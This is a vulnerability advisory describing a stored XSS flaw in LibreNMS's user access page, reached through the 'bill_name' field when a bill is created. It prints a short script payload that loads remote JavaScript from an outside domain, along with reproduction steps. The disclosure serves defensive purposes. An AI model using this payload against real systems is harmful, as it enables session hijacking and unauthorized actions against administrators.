Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/edituser.inc.php
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Manage User Access" page allows authenticated users to inject arbitrary JavaScript through the "bill_name" parameter when creating a new bill. This vulnerability can lead to the execution of malicious code when visiting the "Bill Access" dropdown in the user's "Manage Access" page, potentially compromising user sessions and allowing unauthorized actions.
Details
When creating a new bill, an attacker can inject the following XSS payload into the "bill_name" parameter:
test1'"><script/src=//15.rs>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The payload triggers in the "Bill Access" dropdown when the user's "Manage Access" page is visited. The sink responsible for this issue is: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/edituser.inc.php#L309
PoC
- Create a new bill using the following payload in the "bill_name" parameter:
test1'"><script/src=//15.rs> - Save the bill.
- Navigate to the "Manage Access" page for the user.
- Observe that the injected script executes in the "Bill Access" dropdown.
